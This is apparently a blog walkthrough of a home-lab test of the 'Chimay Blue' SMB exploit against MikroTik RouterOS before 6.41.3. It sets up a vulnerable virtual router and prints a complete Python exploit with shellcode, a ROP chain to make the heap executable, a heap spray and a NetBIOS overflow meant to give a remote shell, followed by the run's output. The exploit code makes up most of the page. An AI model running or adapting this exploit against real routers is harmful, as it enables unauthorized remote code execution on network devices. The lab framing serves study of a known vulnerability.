Mikrotik and Chimay Blue

Goal

The Chimay Blue Experiment on MikroTik RouterOS before versions 6.41.3/6.42rc27.

Tools and Materials

  • VirtualBox
  • MikroTik ISO
  • MikroTik License
  • Ubuntu 18.04

Directions

  • Configure a vulnerable MikroTik.
  • Exploit the MikroTik through your Laptop.

Discussion

Change the MikroTik interface name.

interface set numbers=ether1 name=host-only

Set static IP address at the host-only interface.

ip address set interface=host-only address=192.168.56.2/24

Connect your laptop (host) to your MikroTik (guest) via SSH.

ssh admin@192.168.56.2

Paste your license into MikroTik terminal to activate more features.

Thus, reboot MikroTik.

reboot

Enable Samba service.

ip smb set enabled=yes

Add new user in Samba service.

ip smb users add read-ony=no name=mtuser password=mtpassword 

Shares backup folder.

ip smb shares add name=backup

Create Python file at /tmp/expl.py.

vi expl.py

Paste the code inside Python file.

#!/usr/bin/env python
 
import socket
import struct
import sys
import telnetlib
 
NETBIOS_SESSION_MESSAGE = "\x00"
NETBIOS_SESSION_REQUEST = "\x81"
NETBIOS_SESSION_FLAGS = "\x00"
 
# trick from http://shell-storm.org/shellcode/files/shellcode-881.php
# will place the socket file descriptor in eax
find_sock_fd = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48"
 
# dup stdin-stdout-stderr so we can reuse the existing connection
dup_fds = "\x89\xc3\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9"
 
# execve - cannot pass the 2nd arg as NULL or busybox will complain
execve_bin_sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
 
# build shellcode
shellcode = find_sock_fd + dup_fds + execve_bin_sh
 
# rop to mprotect and make the heap executable
# the heap base is not being subject to ASLR for whatever reason, so let's take advantage of it
p = lambda x : struct.pack('I', x)
 
rop = ""
rop += p(0x0804c39d) # 0x0804c39d: pop ebx; pop ebp; ret; 
rop += p(0x08072000) # ebx -> heap base
rop += p(0xffffffff) # ebp -> gibberish
rop += p(0x080664f5) # 0x080664f5: pop ecx; adc al, 0xf7; ret; 
rop += p(0x14000)    # ecx -> size for mprotect
rop += p(0x08066f24) # 0x08066f24: pop edx; pop edi; pop ebp; ret; 
rop += p(0x00000007) # edx -> permissions for mprotect -> PROT_READ | PROT_WRITE | PROT_EXEC
rop += p(0xffffffff) # edi -> gibberish
rop += p(0xffffffff) # ebp -> gibberish
rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret; 
rop += p(0x0000007d) # ebp -> mprotect system call
rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret; 
rop += p(0xffffe42e) # 0xffffe42e; int 0x80; pop ebp; pop edx; pop ecx; ret - from vdso - not affected by ASLR
rop += p(0xffffffff) # ebp -> gibberish
rop += p(0x0)        # edx -> zeroed out
rop += p(0x0)        # ecx -> zeroed out
rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret; 
rop += p(0x08075802) # ebp -> somewhere on the heap that will (always?) contain user controlled data
rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret;
rop += p(0x0804e153) # jmp eax; - jump to our shellcode on the heap
 
offset_to_regs = 83
 
# we do not really care about the initial register values other than overwriting the saved ret address
ebx = p(0x45454545)
esi = p(0x45454545)
edi = p(0x45454545)
ebp = p(0x45454545)
eip = p(0x0804886c) # 0x0804886c: ret;
 
payload = "\xff" * offset_to_regs + ebx + esi + edi + ebp + eip + rop
header = struct.pack("!ccH", NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS, len(payload))
buf = header + payload
 
def open_connection(ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, 139))
    return s
 
def store_payload(s):
    print "[+] storing payload on the heap"
    s.send((NETBIOS_SESSION_MESSAGE + "\x00\xeb\x02") * 4000 + "\x90" * 16 + shellcode)
 
def crash_smb(s):
    print "[+] getting code execution"
    s.send(buf)
 
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "%s ip" % sys.argv[0]
        sys.exit(1)
 
    s = open_connection(sys.argv[1])
    store_payload(s)
 
    # the server closes the first connection, so we need to open another one
    t = telnetlib.Telnet()
    t.sock = open_connection(sys.argv[1])
    crash_smb(t.sock)
    print "[+] got shell?"
    t.interact()

Run the python file.

python expl.py 192.168.56.2

The result.

[+] storing payload on the heap
[+] getting code execution
[+] got shell?
*** Connection closed by remote host ***

Conclusion

This exploit has not always worked on vulnerable MikroTik’s routers. Maybe there’s a difference between local heap address and server heap address need to set up properly.

Reference

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s